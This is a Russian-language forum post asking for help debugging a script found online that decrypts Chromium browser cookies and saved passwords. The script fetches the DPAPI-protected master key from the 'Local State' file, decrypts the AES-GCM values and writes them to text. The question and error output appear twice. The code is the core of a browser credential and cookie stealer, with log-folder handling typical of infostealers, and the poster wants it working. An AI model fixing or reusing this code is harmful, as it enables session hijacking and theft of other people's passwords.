Добрый день, вечер, ночь. Нашел а просторах интернета на форуме скрипт по расшифровке куков. Решил для начала проверить на своей машине, но столкнулся с проблемой в процессе декодирования расшифрованных данных, а именно на строке
return decrypted_pass.decode()
пишет ответ:
Ключ: b'Lw:\x0f\x9c\x9c\xc1\x9f\x0cx\x86\x00t<\x18V\xe5\xb8...'
Шифрованные данные: b'\x856\x9af\x05\xf5T7\x8b\xa9Eht\x11\xbf\xd9\xf2\x0e\x91{...'
Вывод расшифровки
.microsoft.com TRUE / FALSE 13407163399005874 MC1 Error _decrypt: 'utf-8' codec can't decode byte 0x85 in position 0: invalid start byte
и так по всем зашифрованным данным. Кто знающий в чем может быть проблема?
Код по расшифровке:
return decrypted_pass.decode()
пишет ответ:
Ключ: b'Lw:\x0f\x9c\x9c\xc1\x9f\x0cx\x86\x00t<\x18V\xe5\xb8...'
Шифрованные данные: b'\x856\x9af\x05\xf5T7\x8b\xa9Eht\x11\xbf\xd9\xf2\x0e\x91{...'
Вывод расшифровки
.microsoft.com TRUE / FALSE 13407163399005874 MC1 Error _decrypt: 'utf-8' codec can't decode byte 0x85 in position 0: invalid start byte
и так по всем зашифрованным данным. Кто знающий в чем может быть проблема?
Код по расшифровке:
Python:
import os
import sqlite3
import time
import json
import base64
from win32 import win32crypt
from Cryptodome.Cipher import AES
import subprocess
import urllib.parse
def get_master_key():
with open("Local State0", "r") as f:
local_state = json.load(f)
master_key_base64 = local_state["os_crypt"]["encrypted_key"]
master_key = base64.b64decode(master_key_base64)
encrypted_key = master_key[5:]
key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)
return key[1]
def _decrypt(buffer, master_key):
try:
iv = buffer[3:15]
payload = buffer[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16]
return decrypted_pass.decode()
except Exception as e:
return f"Error _decrypt: {e}"
def passwords(profile, login_db, browser, master_key, folder_logs):
try:
passwords_list = ""
temp_passwords_db = os.path.join(
folder_logs, f"temp_passwords_db_{time.time()}.db"
)
with open(temp_passwords_db, "wb") as f:
f.write(login_db)
conn = sqlite3.connect(temp_passwords_db)
cursor = conn.cursor()
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for item in cursor.fetchone():
try:
decrypted_password = _decrypt(item[2], master_key)
if decrypted_password is not None:
passwords_list += f"[{browser or ''}][{profile or ''}]\n{item[0] or ''}\n{item[1] or ''}\n{decrypted_password}\n\n"
else:
print("Decryption failed or returned None")
except sqlite3.Error as e:
print(f"Error passwords: {e}")
conn.close()
os.remove(temp_passwords_db)
return passwords_list
except Exception as e:
print(f"[!] Unknown Error: {e}")
def cookies(master_key):
f = open("output.txt", "w")
f.write("Host\tSecure\tPath\tHttpOnly\tExpires\tName\tValue\n")
try:
cookies_list = ""
cookies_db = "Cookies"
conn = sqlite3.connect(cookies_db)
cursor = conn.cursor()
cursor.execute(
"SELECT host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly FROM cookies"
)
for item in cursor.fetchall():
try:
decrypted_value = _decrypt(item[2], master_key)
if decrypted_value is not None:
cookies_list += f"{item[0]}\t{str(bool(item[5])).upper()}\t{item[3]}\t{str(bool(item[6])).upper()}\t{item[4]}\t{item[1]}\t{decrypted_value}\n"
else:
print("Decryption failed or returned None")
except sqlite3.Error as e:
print(f"Error cookies: {e}")
conn.close()
print(cookies_list)
f.write(cookies_list)
f.close()
return cookies_list
except Exception as e:
print(f"Error cookies: {e}")
return []
def main():
byte_array = get_master_key()
cookies(byte_array)
if __name__ == "__main__":
main()
Последнее редактирование: